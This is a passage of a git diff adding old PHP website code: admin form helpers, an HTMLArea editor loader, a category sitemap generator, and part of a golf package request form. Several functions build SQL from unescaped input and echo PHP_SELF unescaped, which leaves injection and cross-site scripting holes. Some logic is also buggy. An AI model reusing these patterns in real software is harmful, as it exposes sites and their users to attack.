+                               <TD ALIGN="left">'.MIDSIZED.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>THUMB</B></TD>
+                               <TD ALIGN="left">'.THUMB.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>$CALLED_FROM_DIR</B></TD>
+                               <TD ALIGN="left">'.$CALLED_FROM_DIR.'&nbsp;</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>$BASE_PATH</B></TD>
+                               <TD ALIGN="left">'.$BASE_PATH.'</TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>$BASE_URL</B></TD>
+                               <TD ALIGN="left"><A HREF="'.$BASE_URL.'">'.$BASE_URL.'</A></TD>
+                               </TR>
+                               <TR VALIGN="baseline" BGCOLOR="#CCCCCC">
+                               <TD BGCOLOR="#CCCCFF" ><B>$BASE_SECURE_URL</B></TD>
+                               <TD ALIGN="left">'.$BASE_SECURE_URL.'</TD>
+                               </TR>
+                               </TABLE>
+                               &nbsp;
+                       <P>
+                               <HR WIDTH="600">
+                               <P>
+                               </CENTER>
+                               ';
+
+               }
+
+               /**
+                * htmlcode: Output code to enable htmlarea for the page
+                * MUST BE CALLED AFTER TEXTAREAS ON PAGE
+                * @param $$w = 570: width of htmlarea in px
+                * @param $$h = 400: height of htmlarea in px
+                * 
+                * @return void
+                * @access 
+                **/
+               function htmlcode($w = 570,$h = 400)
+               {
+                       echo '
+<style type="text/css">
+    /*<![CDATA[*/
+        <!--
+                .textarea { height: '.$h.' px; width: '.$w.' px; } 
+        -->
+        /*]]>*/
+    </style>
+<script type="text/javascript">
+    //<![CDATA[
+      _editor_url = "'.URL_BASE.'admin/htmlarea";
+      _editor_lang = "en";
+    //]]>
+    </script><!-- load the main HTMLArea file -->
+    <script type="text/javascript" src="'.URL_BASE.'admin/htmlarea/htmlarea.js">
+    </script>
+';
+                       echo '
+                       <script type="text/javascript">
+    //<![CDATA[
+
+                ';
+               if( HTMLAREA_CONTEXT_MENU )
+               {
+                echo '
+                HTMLArea.loadPlugin("ContextMenu");
+                ';
+               }
+               if( HTMLAREA_TABLES )
+               {
+                echo '
+                 HTMLArea.loadPlugin("TableOperations");
+                 ';
+               }
+                 echo '
+     initdocument = function () {
+        var editor = new HTMLArea("description");
+  
+               ';
+
+       echo '
+       editor.config.toolbar = [
+               [ "fontname", "space",
+                 "fontsize", "space",
+                 "formatblock", "space",
+                 "bold", "italic", "underline", "separator" ],
+
+               [ "justifyleft", "justifycenter", "justifyright", "justifyfull", "separator",
+
+                 "insertorderedlist", "insertunorderedlist", "outdent", "indent", "separator",
+                 "forecolor", "separator",
+                 "inserthorizontalrule", "createlink"';
+               if( HTMLAREA_TABLES )
+               {
+                 echo ', "inserttable"';
+         }
+                 echo ', "htmlmode", "separator",
+                 "copy", "cut", "paste", "space", "undo", "redo" ]
+       ];      
+       ';
+               if( HTMLAREA_CONTEXT_MENU )
+               {
+               echo '
+  // add a contextual menu
+  editor.registerPlugin("ContextMenu");
+  ';
+               }
+  echo '
+
+  // load the stylesheet used by our CSS plugin configuration
+  editor.config.pageStyle = "@import url(../../styles.css);";
+  ';
+               if( HTMLAREA_TABLES )
+               {
+  echo '
+  
+  // register the TableOperations plugin
+  editor.registerPlugin(TableOperations); 
+  ';
+               }
+  echo '
+  editor.generate();
+      } 
+        function addEvent(obj, evType, fn)
+        { 
+                if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+                else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+                else {  return false; } 
+        } 
+        addEvent(window, \'load\', initdocument);
+    //]]>
+    </script>  
+                               ';
+               }
+
+               /**
+                * date_entry : Generate the select boxes for date entry
+                * month-day-year as drop down select
+                * @param $month: 
+                * @param $day: 
+                * @param $year: 
+                * @param $month_name: name of select month 
+                * @param $day_name: name of select day 
+                * @param $$year_name : name of select year
+                * 
+                * @return 
+                * @access 
+                **/
+               function date_entry($month,$day,$year,$month_name,$day_name,$year_name) 
+               {
+                       $cur_date = getdate();
+
+                       if($month == "") 
+                       {
+                               $month = $cur_date['mon'];
+                       }
+                       if($day == "") 
+                       {
+                               $day = $cur_date['mday'];
+                       }       
+                       if($year == "") 
+                       {
+                               $year = $cur_date['year'];
+                       }
+                       $date = '<SELECT NAME="'.$month_name.'">';
+                       for($i=1;$i<13;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10)
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $month) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$day_name.'">';
+                       for($i=1;$i<32;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10) 
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $day) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }       
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$year_name.'">';
+                       for($i=2000;$i<2023;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="'.$i.'"';
+                               if($i == $year) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;
+                       }
+                       $date .= '</SELECT>';
+                       return $date;
+               }       
+
+               /**
+                * contact_date_entry : build select boxes for date entry going backwords in years
+                * @param $month: 
+                * @param $day: 
+                * @param $year: 
+                * @param $month_name: name of select month
+                * @param $day_name: name of select day
+                * @param $$year_name : name of select year
+                * 
+                * @return void
+                * @access 
+                **/
+               function contact_date_entry($month,$day,$year,$month_name,$day_name,$year_name) 
+               {
+                       $cur_date = getdate();
+
+                       if($month == "") 
+                       {
+                               $month = $cur_date['mon'];
+                       }
+                       if($day == "") 
+                       {
+                               $day = $cur_date['mday'];
+                       }       
+                       if($year == "") 
+                       {
+                               $year = $cur_date['year'];
+                       }
+                       $date = '<SELECT NAME="'.$month_name.'">';
+                       for($i=1;$i<13;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10)
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $month) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$day_name.'">';
+                       for($i=1;$i<32;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="';
+                               if($i < 10) 
+                               {
+                                       $date .= "0";
+                               }
+                               $date .= $i.'"';
+                               if($i == $day) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;        
+                       }       
+                       $date .= '</SELECT>';
+                       $date .= '<SELECT NAME="'.$year_name.'">';
+                       $ystart = $cur_date['year'] - 10;
+                       for($i=$ystart;$i<=$year;$i++) 
+                       {
+                               $date .= '<OPTION VALUE="'.$i.'"';
+                               if($i == $year) 
+                               {
+                                       $date .= ' SELECTED';
+                               }
+                               $date .= '>'.$i;
+                       }
+                       $date .= '</SELECT>';
+                       return $date;
+               }
+
+               /**
+                * time_entry : build select boxes for time entry
+                * @param $H: 
+                * @param $m: 
+                * @param $F: 
+                * @param $H_name: name of select hour
+                * @param $m_name: name of select min
+                * @param $$F_name : name of select sec
+                * 
+                * @return 
+                * @access 
+                **/
+               function time_entry($H,$m,$F,$H_name,$m_name,$F_name) 
+               {
+                       $cur_date = getdate();
+
+                       if($H == "") 
+                       {
+                               $H = $cur_date['hours'];
+                       }
+                       if($m == "") 
+                       {
+                               $m = $cur_date['minutes'];
+                       }       
+                       if($H>12) 
+                       {
+                               $F = "PM";
+                               $H = $H - 12;
+                       }
+                       $time = "Hr:<SELECT NAME=\"$H_name\" size=\"1\">";
+                       for($i=1;$i<=12;$i++) 
+                       {
+                               $time .= "<OPTION VALUE=\"";
+                               if($i < 10)
+                               {
+                                       $time .= "0";
+                               }
+                               $time .= "$i\"";
+                               if($i == $H) 
+                               {
+                                       $time .= " SELECTED";
+                               }
+                               $time .= ">$i\n";       
+                       }
+                       $time .= "</SELECT>\n";
+                       $time .= "Min:<SELECT NAME=\"$m_name\" size=\"1\">";
+                       for($i=0;$i<60;$i=$i+15) 
+                       {
+                               $time .= "<OPTION VALUE=\"";
+                               if($i < 10) 
+                               {
+                                       $time .= "0";
+                               }
+                               $time .= "$i\"";
+                               if($i == $m) 
+                               {
+                                       $time .= " SELECTED";
+                               }
+                               $time .= ">";
+                               if($i < 10) 
+                               {
+                                       $time .= "0";
+                               }
+                               $time .= "$i\n";        
+                       }       
+                       $time .= "</SELECT>";
+                       $time .= "<SELECT NAME=\"$F_name\" size=\"1\">";
+                       $time .= "<OPTION VALUE=\"AM\"";
+                       if($F == "AM") 
+                       {
+                               $time .= " SELECTED";
+                       }
+                       $time .= ">AM\n";
+                       $time .= "<OPTION VALUE=\"PM\"";
+                       if($F == "PM") 
+                       {
+                               $time .= " SELECTED";
+                       }
+                       $time .= ">PM\n";
+                       $time .= "</SELECT>\n";
+                       return $time;
+               }
+
+               /**
+                * get_parentid: get the (highest level) parent category for this id
+                * @param $id: id from bus_category table
+                * 
+                * @return int parent  
+                * @access 
+                **/
+               function get_parentid( $id )
+               {
+                       static $parentshow;
+                       if( $id == 0 )
+                       {
+                               return( 0 );            
+                       }
+                       if(!is_array($parentshow))
+                       {
+                               $qs = "select parent from bus_category where id = $id";
+                               $parentrow = db_auto_get_data( $qs );     
+                       }
+                       if($parentrow[0]['parent'] == 0)
+                       {
+                               return($id);
+                       }
+                       else
+                       {
+                               return( get_parentid($parentrow[0]['parent']) );
+                       }
+               }
+
+               /**
+                * build_picklist:Builds a pick list from an array
+                * @param $fieldname: fieldname field name for select
+                * @param $data: data array of data
+                * @param $selected: selected witch element is selected
+                * @param $$type = "standard": type Standard,multi
+                * @param $$auto = 0: auto
+                * @param $$width = NULL : width width controlled by css
+                * 
+                * @return void 
+                * @access 
+                **/
+               function build_picklist( $fieldname, $data, $selected, $type = "standard",$auto = 0,$width = NULL )
+               {
+                       if(!is_array($selected))
+                       {
+                               $sel[0] = $selected;
+                       }
+                       else
+                       {
+                               $sel = $selected;
+                       }
+                       if($auto == 1)
+                               $autosubmit = "onChange=\"form.submit()\"";
+                       if($width)
+                               $autosubmit .= "style=\"width:".$width."px;\"";
+                       switch( $type )
+                       {
+                               case "multiple":
+                                       $str = "<SELECT NAME=\"".$fieldname."\" multiple size=\"10\" ".$autosubmit.">\n";
+                               while( list($key, $val) = each($data) ) 
+                               {
+                                       if( in_array($key,$sel) )
+                                       {
+                                               $select = " SELECTED ";
+                                       }
+                                       else
+                                               $select = "";
+                                       $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                               }
+                               break;
+                               case "simple":
+                                       $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+                               for( $i=0 ; $i<count($data) ; $i++ ) 
+                               {
+                                       $select = (in_array($data[$i],$sel)) ? " SELECTED ":"";
+                                       $str .= "       <OPTION VALUE=\"".$data[$i]."\"".$select.">".$data[$i]."\n";
+                               }
+                               break;
+
+                               case "standard":
+                               default:
+                                       $str = "<SELECT NAME=\"$fieldname\" ".$autosubmit.">\n";
+                                       while( list($key, $val) = each($data) ) 
+                                       {
+                                               $select = (in_array($key,$sel)) ? " SELECTED ":"";
+                                               $str .= "       <OPTION VALUE=\"$key\"".$select.">$val\n";
+                                       }
+                                       break;
+                       }
+                       $str .= "</SELECT>\n";
+
+                       return( $str );
+
+               }
+
+               /**
+                * create_page_links:Create prev and next links 
+                * to page through the results.
+                * @param $totalnum: The total result of the query
+                * @param $num: The total result for the page
+                * @param $$start=0: The starting num defaults to 0
+                * @param $params: variables to add to the url
+                * @param $ENTRIES_PER_PAGE: number of items on page defaults to the ENTRIES_PER_PAGE
+                * 
+                * @return string of links 
+                * @access 
+                **/
+               function create_page_links($totalnum,$num,$start=0,$params,$page_length=ENTRIES_PER_PAGE)
+               {
+                       // find out which page we're on.
+                       if($totalnum!=0)
+                       {  
+                               $total_pages = floor($totalnum / $page_length);         // total pages = the total result divided by page length rounded down 
+                               $total_pages++;                                                                         // then add one
+                               if($start == 0)                                                                         // if start is 0 then page is one
+                               {
+                                       $page = 1;                                                                              
+                               }
+                               else    
+                               {
+                                       $page = ($start / $page_length) + 1;
+                               }
+                       }
+
+                       if($totalnum > $page_length && ( $page != $totalpages ) )
+                       {
+                               $end = $page_length + $start;
+                       }
+                       else
+                       {
+                               $end = $totalnum;
+                       }
+                       $last = $start - $page_length;  
+                       if(($start - $page_length) < 0)
+                               $prev = "";
+                       else    
+                               $prev = "<span class=\"accenttext\">[</span><a class=\"small\"
+                                       href=\"$GLOBALS[PHP_SELF]?start=".$last."&$params\">PREVIOUS PAGE</a><span
+                                       class=\"accenttext\"> ]</span>";
+                       if($end < $totalnum)
+                               $next = "<span class=\"accenttext\">[</span><a class=\"small\"
+                                       href=\"$GLOBALS[PHP_SELF]?start=".$end."&$params\">NEXT PAGE</a><span
+                                       class=\"accenttext\"> ]</span>";
+                       else    
+                               $next = "";
+                       $starting = $start + 1; 
+                       $last_c = $start + $num;
+                       $links = '<center><span class="pagetitle">Listings Displayed: </span><span
+                               class="accenttext">'.$starting.' to '.$last_c.'</span>
+                               <span class="pagetitle"> of '.$totalnum.'<br></span> '.$prev. ' &nbsp; <span 
+                               class="pagetitle"></span> '.$next.'<BR></span></center>';       
+                       return($links);
+               }
+       }
+?>
diff --git a/sitemap.inc b/sitemap.inc
new file mode 100755 (executable)
index 0000000..978bde2
--- /dev/null
@@ -0,0 +1,191 @@
+<?php
+/**
+ * 
+ * 
+ *        Filename:  sitemap.inc
+ * 
+ *     Description:  output site map 
+ * 
+ *         Version:  1.0
+ *         Created:  09/30/2004 04:07:26 PM EDT
+ *        Revision:  none
+ * 
+ *         Company: Gaslight Media  
+ * example page
+ <html>
+ <head>
+ <title></title>
+ <style type="text/css">
+ <!--
+ div#sitemap {width: 100%;overflow:hidden;font-family: arial, helvetica, sans-serif; font-size: 12px;}
+ div#sitemap ul {list-style: none; margin: 0; padding: 0; margin-top: 0; padding-top: 0; list-style-image: none;}
+ div#sitemap ul ul {padding: 0 0 0 5px; margin: 0 0 0 5px; }
+ div#sitemap li {list-style: none; margin: 3px 0; padding: 0; list-style-image: none; float: left; width: 100%;}
+ div#sitemap dl {padding: 0; margin: 0; display: block; }
+ div#sitemap dt {margin: 0; padding: 0; font-style: normal;}
+ div#sitemap dt a {font-size: 16px; font-weight: bold; text-transform: uppercase;}
+ div#sitemap ul ul dt a {font-size: 14px; font-weight: bold; margin: 0; clear: left;}
+ div#sitemap ul ul ul dt a {font-size: 12px; font-weight: normal; margin: 0; text-transform: none;clear: left;}
+ div#sitemap dt a:link {color: #369;}
+ div#sitemap dt a:visited {color: #369;}
+ div#sitemap dt a:active {color: #369;}
+ div#sitemap dt a:hover {color: #000;}
+ div#sitemap dd {margin: 0; padding: 0;}
+ -->
+ </style> 
+ </head>
+ <body>
+ <div id="sitemap">
+ <?php include('sitemap.inc');?>
+ </div>
+ </body>
+ </html>
+ * 
+ */
+
+class Thread
+{    
+       var $begin_level = "<ul>";
+       var $end_level = "</ul>";
+       var $begin_item = "<li>";
+       var $end_item = "</li>";
+       var $whole_thread;
+       var $search = "";
+       var $DB;
+
+       function Thread($code="",&$DB)
+       {    
+               if(!empty($code))
+               {    
+                       $this->begin_level = $code[begin_level];
+                       $this->end_level = $code[end_level];
+                       $this->begin_item = $code[begin_item];
+                       $this->end_item = $code[end_item];
+               }
+               if($GLOBALS["search"])
+               {
+                       $this->search = $GLOBALS["search"];
+               }
+               $this->DB =& $DB;
+       }
+
+       function sortChilds($threads)
+       {    
+               while(list($var, $value) = each($threads))
+                       $childs[$value[parent]][$value[id]] = $value;
+               return $childs;
+       }
+
+       /**
+        * convertToThread: outputs the array with the correct styles and code applied
+        * @param $threads: Thread array
+        * @param $thread: Start with thread[0] will work it way down
+        * 
+        * @return whole_thread
+        * @access public 
+        **/
+       function convertToThread($threads, $thread)
+       {    
+               global $toolbox;
+               static $p,$level_counter;
+               if( !$level_counter )
+               {
+                       $level_counter = 1;
+               }
+               if( $level_counter != 1 )
+               {
+                       $this->whole_thread .= $this->begin_item;
+               }
+               $this->whole_thread .= $this->begin_level;
+               while(list($parent, $value) = each($thread))
+               {    
+                       $this->whole_thread .= $this->begin_item . "<dl><dt>" ;
+
+                       $page = $toolbox->get_seo_url( $value['id'] );
+                       $this->whole_thread .= '<a href="'.$page.'">'; 
+                       $this->whole_thread .= $value["category"] 
+                               . "</a></dt><dd>".$value["descr"]."..</dd></dl>"
+                               . $this->end_item ."\n";
+                       if($threads[$parent] )
+                       {
+                               $level_counter++;
+                               $this->convertToThread($threads, $threads[$parent]);
+                               $level_counter--;
+                       }
+               }
+               $this->whole_thread .= $this->end_level;
+               if( $level_counter != 1 )
+               {
+                       $this->whole_thread .= $this->end_item;
+               }
+               return $this->whole_thread;
+       }
+}
+function sitemap_keyword_replace($string)
+{
+       if($search = strstr($string,"{"))
+       {
+               if(ereg("\{([A-Za-z0-9\&\-\,\'\" ]*)\}",$string,$needle))
+               {
+                       if($needle[0] != "")
+                       {               
+                               $qs = "SELECT   id,category
+                                       FROM            bus_category
+                                       WHERE   trim(keyword) = '".trim($needle[1])."'";
+
+                               $keyres = $GLOBALS['toolbox']->DB->db_auto_get_data($qs);                                       
+                               if($keyres[0]['id']==1)
+                               {
+                                       $page="";
+                               }
+                               $replacement = "".$keyres[0]['category']."";
+                               $string = str_replace($needle[0],$replacement,$string);
+                       }
+               }               
+               else{
+                       return($string);
+               }
+               if($search = strstr($string,"{"))
+                       return($this->sitemap_keyword_replace($string));
+       }       
+       return($string);        
+}
+if( $nf == 1 )
+{
+       echo '<h2>Page not found</h2>The page you are looking for doesn\'t exist.';
+}
+function make_teaser($text, $maxlength, $strip_tags=FALSE)
+{
+       if($strip_tags){ $text = strip_tags($text); }
+
+       if(strlen($text) > $maxlength)
+       {     
+               $pos = strpos($text, ' ', $maxlength);
+               $text = substr($text, 0, $pos);
+       }
+
+       return $text;
+} 
+$query = "select * from bus_category order by parent,pos";
+$data = $toolbox->DB->db_auto_get_data($query);
+if(is_array($data))
+{
+       foreach($data as $key=>$val)
+       {
+               $description = make_teaser( sitemap_keyword_replace( $val['description'] ),200 ,true );
+
+               $threads[] = array("id"=>$val['id'],
+                               'descr'=>$description,
+                               'category'=>strip_tags($val['category']),
+                               'type'=>$val['type'],
+                               'parent'=>$val['parent'],
+                               'closed' => false);
+       }
+}
+$links = array("begin_level" => "<ul>","end_level" => "</ul>","begin_item" => "<li>","end_item" => "</li>");
+if(is_array($threads)) {
+       $myThread = new Thread($links,&$toolbox->DB); 
+       $converted = $myThread->sortChilds($threads); //sort threads by parent
+       print $myThread->convertToThread($converted, $converted[0]); //print the threads
+}
+?>
diff --git a/templates/letstalkgolf.html b/templates/letstalkgolf.html
new file mode 100755 (executable)
index 0000000..d68eb01
--- /dev/null
@@ -0,0 +1,322 @@
+<script type="text/javascript" src="http://app.gaslightmedia.com/libjs/jquery-1.3.2.min.js"></script>
+<div align="center"> 
+    {form.javascript:h} 
+    {form.outputHeader():h} 
+    {form.hidden:h} 
+    <table border="0" cellspacing="1" width="90%"> 
+        <tr> 
+            <td width="100%" bgcolor="#006600"> 
+                <P align="center"><b> 
+                    <font face="Arial" size="4" color="#FFFFFF">Package Estimate
+                </font></b> 
+                </P> 
+            </tr> 
+            <tr> 
+                <td width="100%"> 
+                    <table border="0" width="100%" id="table2"> 
+                        <tr> 
+                            <td colspan="2"><b> 
+                                    <font face="Arial" size="4" color="#006600">Lodging</font></b></td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"><b><font face="Arial" size="2"> 
+                                        Select Your Dates:</font></b></td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"> 
+                                <table border="0" width="100%" cellspacing="1" id="table3"> 
+                                    <tr> 
+                                        <td><b><font face="Arial" size="2" color="#ff0000">{form.arrive1.label:h}</font></b></td> 
+                                        <td>{form.arrive1.html:h}</td> 
+                                        <td><b><font face="Arial" size="2" color="#ff0000"> 
+                                                    {form.depart1.label:h}:</font></b></td> 
+                                        <td>{form.depart1.html:h}
+                                            </td> 
+                                    </tr> 
+                                </table> 
+                            </td> 
+                        </tr> 
+                        <tr> 
+                            <td width="20%">&nbsp;</td> 
+                            <td width="78%">&nbsp;</td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"><b> 
+                                    <font face="Arial" size="4" color="#006600">Golf</font></b></td> 
+                        </tr> 
+                        <tr> 
+                            <td width="20%"><b><font face="Arial" size="2" color="#ff0000"> 
+                                        {form.numberofgolfers.label:h}</font></b></td> 
+                            <td width="78%"> 
+                                {form.numberofgolfers.html:h}</td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"> 
+                                <table border="0" width="100%" cellspacing="1" id="table4"> 
+                                    <tr> 
+                                        <td width="491"><b> 
+                                                <font face="Arial" size="2" color="#ff0000">{form.days_playing_golf.label:h}</font></b></td> 
+                                        <td> 
+                                            {form.days_playing_golf.html:h}</td> 
+                                    </tr> 
+                                </table> 
+                            </td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"><b><font face="Arial" size="2"> 
+                                        Please select the course(s) you would like to play.</font></b></td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"> 
+                                <table border="0" width="100%" id="table5"> 
+                                    <tr> 
+                                        <td width="52" align="center"> 
+                                            <input type="checkbox" name="courses[]" value="1"></td> 
+                                        <td width="196"><b> 
+                                                <font face="Arial" size="2">Black Bear</font></b></td> 
+                                        <td align="center"> 
+                                            <input type="checkbox" name="courses[]" value="12"></td> 
+                                        <td width="285"><b> 
+                                                <font face="Arial" size="2">Michaywe - The 
+                                                    Pines</font></b></td> 
+                                    </tr> 
+                                    <tr> 
+                                        <td width="52" align="center"> 
+                                            <input type="checkbox" name="courses[]" value="2"></td> 
+                                        <td width="196"><b> 
+                                                <font face="Arial" size="2">Black Forest</font></b></td> 
+                                        <td align="center"> 
+                                            <input type="checkbox" name="courses[]" value="13"></td> 
+                                        <td width="285"><b> 
+                                                <font face="Arial" size="2">Mountain Lake</font></b></td> 
+                                    </tr> 
+                                    <tr> 
+                                        <td width="52" align="center"> 
+                                            <input type="checkbox" name="courses[]" value="3"></td> 
+                                        <td width="196"><b> 
+                                                <font face="Arial" size="2">Black Lake</font></b></td> 
+                                        <td align="center"> 
+                                            <input type="checkbox" name="courses[]" value="14"></td> 
+                                        <td width="285"><b> 
+                                                <font face="Arial" size="2">Wilderness 
+                                                    Valley</font></b></td> 
+                                    </tr> 
+                                    <tr> 
+                                        <td width="52" align="center"> 
+                                            <input type="checkbox" name="courses[]" value="4"></td> 
+                                        <td width="196"><b> 
+                                                <font face="Arial" size="2">Elk Ridge</font></b></td> 
+                                        <td align="center"> 
+                                            <input type="checkbox" name="courses[]" value="15"></td> 
+                                        <td width="285"><b> 
+                                                <font face="Arial" size="2">Marsh Ridge</font></b></td> 
+                                    </tr> 
+                                    <tr> 
+                                        <td align="center"> 
+                                            <input type="checkbox" name="courses[]" value="16"></td> 
+                                        <td width="285"><b> 
+                                                <font face="Arial" size="2">Otsego Club - 
+                                                    The Classic</font></b></td> 
+                                        <td align="center"> 
+                                            <input type="checkbox" name="courses[]" value="17"></td> 
+                                        <td width="285"><b> 
+                                                <font face="Arial" size="2">Otsego Club - 
+                                                    The Tribute</font></b></td> 
+                                    </tr> 
+                                    <tr> 
+                                        <td align="center"> 
+                                            <input type="checkbox" name="courses[]" value="18"></td> 
+                                        <td width="285"><b> 
+                                                <font face="Arial" size="2">Treetops - 
+                                                    Masterpiece</font></b></td> 
+                                        <td align="center"> 
+                                            <input type="checkbox" name="courses[]" value="19"></td> 
+                                        <td width="285"><b> 
+                                                <font face="Arial" size="2">Treetops - Par 3</font></b></td> 
+                                    </tr> 
+                                    <tr> 
+                                        <td width="52" align="center"> 
+                                            <input type="checkbox" name="courses[]" value="9"></td> 
+                                        <td width="196"><b> 
+                                                <font face="Arial" size="2">Gaylord Country 
+                                                    Club</font></b></td> 
+                                        <td align="center"> 
+                                            <input type="checkbox" name="courses[]" value="20"></td> 
+                                        <td width="285"><b> 
+                                                <font face="Arial" size="2">Treetops - 
+                                                    Premier</font></b></td> 
+                                    </tr> 
+                                    <tr> 
+                                        <td width="52" align="center"> 
+                                            <input type="checkbox" name="courses[]" value="10"></td> 
+                                        <td width="196"><b> 
+                                                <font face="Arial" size="2">The Loon</font></b></td> 
+                                        <td align="center"> 
+                                            <input type="checkbox" name="courses[]" value="21"></td> 
+                                        <td width="285"><b> 
+                                                <font face="Arial" size="2">Treetops - 
+                                                    Signature</font></b></td> 
+                                    </tr> 
+                                    <tr> 
+                                        <td width="52" align="center"> 
+                                            <input type="checkbox" name="courses[]" value="11"></td> 
+                                        <td width="196"><b> 
+                                                <font face="Arial" size="2">The Natural</font></b></td> 
+                                        <td align="center"> 
+                                            <input type="checkbox" name="courses[]" value="22"></td> 
+                                        <td width="285"><b> 
+                                                <font face="Arial" size="2">Treetops - 
+                                                    Traditions</font></b></td> 
+                                    </tr> 
+                                </table> 
+                            </td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2">&nbsp;</td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"><b> 
+                                    <font face="Arial" size="4" color="#006600">Contact 
+                                        Information</font></b></td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"><b><font face="Arial" size="2"> 
+                                        Please enter your information below:</font></b></td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"> 
+                                <table border="0" width="100%" cellspacing="1" id="table6"> 
+                                    <tr> 
+                                        <td><b><font face="Arial" size="2" color="#ff0000">{form.name.label:h}:</font></b></td> 
+                                        <td width="447"> 
+                                            &nbsp;{form.name.html:h}</td> 
+                                    </tr> 
+                                </table> 
+                            </td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"> 
+                                <table border="0" width="100%" cellspacing="1" id="table7"> 
+                                    <tr> 
+                                        <td width="145"><b> 
+                                                <font face="Arial" size="2">{form.phonenumber.label:h}:</font></b></td> 
+                                        <td> 
+                                            &nbsp;{form.areacode.html:h}&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
+                                            {form.phonenumber.html:h}</td> 
+                                    </tr> 
+                                </table> 
+                            </td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"> 
+                                <table border="0" width="100%" cellspacing="1" id="table8"> 
+                                    <tr> 
+                                        <td width="145"><b> 
+                                                <font face="Arial" size="2">{form.emailaddress.label:h}:</font></b></td> 
+                                        <td> 
+                                            &nbsp;{form.emailaddress.html:h}</td> 
+                                    </tr> 
+                                </table> 
+                            </td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"><b><font face="Arial" size="2">I 
+                                        would prefer a golf specialist to contact me by:</font></b></td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"> 
+                                <table border="0" width="100%" cellspacing="1" id="table9"> 
+                                    <tr> 
+                                        <td width="261"> 
+                                            <table border="0" width="100%" cellspacing="1" id="table10"> 
+                                                <tr> 
+                                                    <td> 
+                                                        <p align="center"> 
+                                                        <input type="radio" value="phone" name="contactby" style="float: right"></td> 
+                                                    <td width="147"><b> 
+                                                            <font face="Arial" size="2">Phone</font></b></td> 
+                                                </tr> 
+                                            </table> 
+                                        </td> 
+                                        <td> 
+                                            <table border="0" width="100%" cellspacing="1" id="table11"> 
+                                                <tr> 
+                                                    <td width="64"> 
+                                                        <p align="right"> 
+                                                        <input type="radio" value="email" name="contactby" style="float: right"></td> 
+                                                    <td><b><font face="Arial" size="2"> 
+                                                                E-mail</font></b></td> 
+                                                </tr> 
+                                            </table> 
+                                        </td> 
+                                    </tr> 
+                                </table> 
+                            </td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"><b><font face="Arial" size="2"> 
+                                        Please enter any additional information below:</font></b></td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2"> {form.additionalinformation.html:h}
+                                </td> 
+                        </tr> 
+                        <tr> 
+                            <td colspan="2">&nbsp;</td> 
+                        </tr> 
+                    <tr><td class="labelcell"><label>Verification code</label></td><td class="fieldcell captcha"><a href="{baseurl:h}qfcaptcha.php?var=golfForm" target="_blank"  name="captcha_question" type="CAPTCHA_Image" onclick="var cancelClick = false; if (document.images) {var img = new Image(); var d = new Date(); img.src = this.href + ((this.href.indexOf('?') == -1) ? '?' : '&') + d.getTime(); document.images['QF_CAPTCHA_captcha_question'].src = img.src; cancelClick = true;} return !cancelClick;"><img src="{baseurl:h}qfcaptcha.php?var=golfForm" name="QF_CAPTCHA_captcha_question" id="QF_CAPTCHA_captcha_question" width="100" height="50" title="Click to view another image" /></a></td></tr><tr><td class="labelcell"><label><font face="Arial" size="2" color="FF0000">Enter verification code</font></label></td><td class="fieldcell"><input name="captcha_rmv" type="text" maxlength="100" value="" >
+                                <div class="req" flexy:if="form.captcha_error"> <font face="Arial" size="2" color="FF0000">ERROR: Incorrect verification code!</font></div>
+                                <span class="tooltip" title="Verification Code|To help us distinguish between information submitted by individuals and those automatically entered by software robots, please type the letters shown."><font face="Arial" size="2">What is this?</font></span></td></tr>
+                        <tr> 
+                            <td colspan="2"> 
+                                <div align="center"> 
